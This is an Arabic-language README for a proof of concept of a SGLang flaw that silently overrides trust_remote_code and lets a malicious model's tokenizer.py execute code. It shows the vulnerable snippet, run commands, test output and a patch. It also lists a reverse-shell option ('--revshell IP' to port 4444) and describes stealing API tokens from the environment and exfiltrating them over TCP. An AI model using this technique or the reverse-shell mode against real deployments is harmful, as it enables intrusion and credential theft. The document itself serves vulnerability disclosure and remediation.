
# إثبات المفهوم لـ CVE-2026-7669: تجاوز silent trust_remote_code في SGLang -> تنفيذ تعليمات برمجية عن بُعد (RCE)
يقوم SGLang بتجاوز قيمة trust_remote_code=False بصمت إلى True ويعيد استدعاء
AutoTokenizer.from_pretrained كلما أعاد transformers الإصدار v5 كائن
TokenizersBackend. النموذج الذي يحتوي على tokenizer_class مخصص و
auto_map يشير إلى tokenizer.py يصل إلى تنفيذ تعليمات برمجية عشوائية
داخل عملية SGLang حتى عندما يمرر المشغّل القيمة False. لا يتم إصدار أي سطر سجل
على أي مستوى.
main الحالي (commit fae90abf6)python/sglang/srt/utils/hf_transformers_utils.py:898-909AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 عاليةif not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
tokenizer = AutoTokenizer.from_pretrained(
tokenizer_name,
*args,
trust_remote_code=True,
tokenizer_revision=tokenizer_revision,
clean_up_tokenization_spaces=False,
**kwargs,
)
تم تقديمه في PR #17784
(commit d1e95af28, 2026-03-18). تمت إزالة إشعار logger.info(...) الأصلي
بواسطة commit 27ac831a8 (2026-03-23) تحت عنوان "docs: improve CI
and testing documentation"، تاركًا التجاوز صامتًا تمامًا في
كل إصدار ضعيف تم إصداره.
git clone https://github.com/<your-org>/CVE-2026-7669.git
cd CVE-2026-7669
./run.sh
يبني صورة Docker (python:3.12.7-slim-bookworm + transformers==5.3.0
أوضاع أخرى:
./run.sh --server إعادة الإنتاج عبر TokenizerManager.__init__
./run.sh --versions مصفوفة transformers 5.0..5.5
./run.sh --revshell IP shell عكسي اختياري إلى IP:4444
./run.sh --rebuild فرض إعادة بناء --no-cache
./run.sh --copy-ledger ./ledger.json
رمز الخروج 0 يعني التأكيد. الملخص النهائي:
Phase 1 transformers + False return=TokenizersBackend exec=False
Phase 1b PATCHED sglang + False return=TokenizersBackend exec=False
Phase 2 REAL sglang + False return=MaliciousTokenizer exec=True
Phase 2b PATCHED sglang + True return=MaliciousTokenizer exec=True
Phase 3 REAL sglang + False (slow) return=MaliciousTokenizer exec=True
Claims: 29 PASS / 0 FAIL / 0 N/A / 29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High
*** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***
رموز الخروج:
| الرمز | المعنى |
|---|---|
| 0 | مؤكد |
| 1 | لم يتم التشغيل |
| 2 | إيجابي كاذب (transformers نفسه نفّذ tokenizer.py، الخطأ في المنبع) |
| 3 | فشل الفحص المسبق للإصدار المثبت |
تقرأ مرحلة الفحص المسبق pinned_versions.json وتتحقق من كل قيمة
مقابل بيئة التشغيل. يخرج الانحراف بالرمز 3 قبل تشغيل أي اختبار.
| المكوّن | التثبيت |
|---|---|
| Python | 3.12.7-slim-bookworm |
| transformers | 5.3.0 |
| SGLang commit | fae90abf6e15aaffb6fd924a439253674771487d |
SHA256 لـ hf_transformers_utils.py | 9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e |
| SHA256 للكتلة القابلة للاستغلال (الأسطر 898-909) | 109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece |
| المقياس | القيمة | مدعوم بواسطة |
|---|---|---|
| AV | N | ملفات التشغيل (config.json, tokenizer_config.json, tokenizer.json, tokenizer.py) هي تخطيط auto_map القياسي لـ HF Hub. أي سجل يخدمها يصل إلى الخطأ. |
| AC | L | PHASE-2 يعمل بشكل حتمي في تشغيل واحد. كل شرط تشغيل هو محتوى من إنشاء المهاجم. PRE-1..7 يؤكد عدم وجود بصمة بيئة. |
| PR | N | رفع مجاني إلى HF Hub كافٍ. لا شيء في سلسلة التشغيل يتطلب صلاحية مسبقة على الضحية. |
| UI | R | يعمل التشغيل فقط عندما يستدعي مشغّل (أو خط أنابيب مهيأ من قبل مشغّل) launch_server --model-path attacker/model. |
| S | U | كل ادعاءات SEV-* تعمل داخل سلطة عملية SGLang. لا هروب من sandbox أو حاوية. |
| C | H | SEV-secrets يلتقط HF_TOKEN, OPENAI_API_KEY, ANTHROPIC_API_KEY, GPG_KEY من بيئة العملية. SEV-network يفتح قناة TCP صادرة لتسريب البيانات. |
| I | H | SEV-write-sglang, SEV-write-launchsrv, SEV-write-model, SEV-pip هي أربع بدائيات تكامل مستقلة في مواقع حساسة مختلفة. |
| A | H | مستنتج من RCE. SEV-pip يثبت تنفيذ عمليات فرعية عشوائية، وهي نفس البدائية اللازمة لـ self-DoS. لا يعرض PoC مباشرة قتل ذاتي. |
8.8 هو الحد الأدنى المتحفظ. 9.6 (مع S:C) و10.0 (مع كل من S:C و
UI:N) قابلان للدفاع لكن يعتمدان على المراجع.
UI:N غير مبرر لهذا CVE. خادم HTTP الخاص بـ SGLang لديه
تجاوز حقيقي لعدم المصادقة الافتراضي عندما يكون api_key=None و admin_api_key=None
(تم التحقق منه بواسطة AUTH-1 ضد بدائية decide_request_auth في
وقت التشغيل)، لكن لا يوجد نقطة نهاية HTTP تصل إلى get_tokenizer بعد بدء التشغيل
(تم التحقق منه بواسطة CHAIN-1). جميع مواقع استدعاء get_tokenizer الأربعة
(TokenizerManager.__init__, Scheduler.__init__, TPWorker.__init__,
DetokenizerManager.__init__) تعمل مرة واحدة عند إطلاق الخادم من
--model-path المقدم من المشغّل. لذلك فإن تجاوز المصادقة هو
قضية منفصلة وليس شريك سلسلة لـ CVE-2026-7669.
يكتب PoC سجل JSON في /tmp/poc_claim_ledger.json مع 29
ادعاءً قابلاً للاختبار بشكل فردي. استخدم ./run.sh --copy-ledger ./ledger.json
لاستخراجه.
| المجموعة | الادعاءات |
|---|---|
PRE-1..7 | الإصدارات المثبتة (Python, transformers, SHA256 للملف, عدد الأسطر, SHA256 لكتلة التجاوز, trust_remote_code الافتراضي, مسار المصدر) |
SRC-1 | مصدر get_tokenizer المستورد يحتوي على التجاوز |
PHASE-1 | transformers يحترم trust_remote_code=False مباشرة |
PHASE-1b, PHASE-1b-mech | SGLang ناقص الأسطر 898-909 يحترم False ويقوم باستدعاء from_pretrained واحد بالضبط |
PHASE-2, PHASE-2-mech, PHASE-2-silent | SGLang الحقيقي ينفّذ tokenizer.py. يُظهر التتبع الاستدعاء 0 (False)->TokenizersBackend, الاستدعاء 1 (True)->MaliciousTokenizer. لا يذكر أي سطر سجل trust_remote_code (التقاط DEBUG على الجذر ومسجل sglang). |
PHASE-2b | المصلح + True الصريح لا يزال يحمّل (التصحيح جراحي) |
PHASE-3-rce, PHASE-3-via-override | وضع tokenizer البطيء يصل أيضًا إلى RCE عبر نفس مسار 898-909 |
SEV-write-sglang, SEV-write-launchsrv, SEV-write-model | بدائيات الاستمرارية والانتشار الجانبي |
SEV-network | قناة TCP صادرة لتسريب البيانات |
SEV-secrets | التقاط أسرار متغيرات البيئة |
SEV-pip | تثبيت pip عشوائي (سلسلة التوريد) |
SEV-root | عملية تعمل كجذر في صورة lmsysorg |
AUTH-1 | ServerArgs الافتراضي (api_key=None, admin_api_key=None) يترك جميع نقاط نهاية ADMIN_OPTIONAL قابلة للوصول بدون مصادقة |
| , |
ملفات نموذج التشغيل (كلها من إنشاء المهاجم، كلها مسموحة بواسطة HF Hub):
attacker/model/
config.json model_type "gpt2" (في TOKENIZER_MAPPING_NAMES الخاصة بـ transformers)
tokenizer_config.json tokenizer_class مخصص + auto_map -> tokenizer.py
tokenizer.json tokenizer BPE صالح (حتى ينجح التحميل الأول)
tokenizer.py الحمولة
model.safetensors أوزان وهمية
تدفق التنفيذ داخل get_tokenizer(MODEL_DIR, trust_remote_code=False):
AutoTokenizer.from_pretrained(..., trust_remote_code=False).tokenizer_class مخصص غير موجود في
سجله، يتراجع إلى TokenizersBackend عام مبني من
tokenizer.json. لا يتم تنفيذ tokenizer.py في هذه النقطة.type(tokenizer).__name__ == "TokenizersBackend"
وتعيد المحاولة بصمت مع trust_remote_code=True.tokenizer.py.
تعمل العبارات ذات المستوى الأعلى داخل عملية SGLang.يلتقط PHASE-2-mech الخاص بـ PoC التتبع حرفيًا:
[{idx: 0, trust_remote_code: False, returned_type: "TokenizersBackend"},
{idx: 1, trust_remote_code: True, returned_type: "MaliciousTokenizer"}]
احذف الأسطر 898-909. TokenizersBackend هو tokenizer قابل للاستخدام للعديد من
أحمال العمل وإعادته كما هو هو افتراضي آمن. إذا كان النموذج يحتاج حقًا
كود tokenizer مخصص، يجب على المشغّل تمرير --trust-remote-code
بشكل صريح.
بدلاً من ذلك، سجّل تحذيرًا عاليًا وأعد TokenizersBackend دون
إعادة استدعاء from_pretrained:
if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
logger.warning(
"Model %s requires a custom tokenizer but trust_remote_code=False. "
"Returning generic TokenizersBackend without executing tokenizer.py. "
"Restart with --trust-remote-code if the custom code is required.",
tokenizer_name,
)
يتحقق PHASE-2b من أن التصحيح الأدنى جراحي: صريح
trust_remote_code=True لا يزال يحمّل النموذج.
trust_remote_code: https://huggingface.co/docs/transformers/main/en/model_doc/auto#from-pretrainedهذا PoC مخصص لأبحاث الأمان الدفاعية والمعالجة. ملف
tokenizer.py الخبيث يكتب فقط إلى /tmp/sglang_poc_proof.txt
داخل الحاوية افتراضيًا. لا تشغّله ضد أنظمة لا تملكها
أو ليس لديك إذن لاختبارها.
AUTH-2AUTH-3| ضوابط إيجابية تؤكد أن الوسيط يحظر الوصول غير المصادق ويقبل bearer صالح عند التهيئة |
CHAIN-1 | لا يوجد معالج نقطة نهاية HTTP يستدعي get_tokenizer() بعد بدء التشغيل (صفر مواقع استدعاء في http_server.py) |
CHAIN-2 | حكم صريح: UI:N غير مبرر لهذا CVE. تجاوز عدم المصادقة الافتراضي حقيقي لكنه لا يمكنه الوصول إلى تجاوز trust_remote_code، لأن جميع مستدعي get_tokenizer الأربعة (TokenizerManager / Scheduler / TPWorker / DetokenizerManager) هي مسارات __init__ تعمل مرة واحدة عند إطلاق الخادم. لا يزال المشغّل يختار مسار النموذج في وقت launch_server، لذا يبقى UI:R قائمًا. |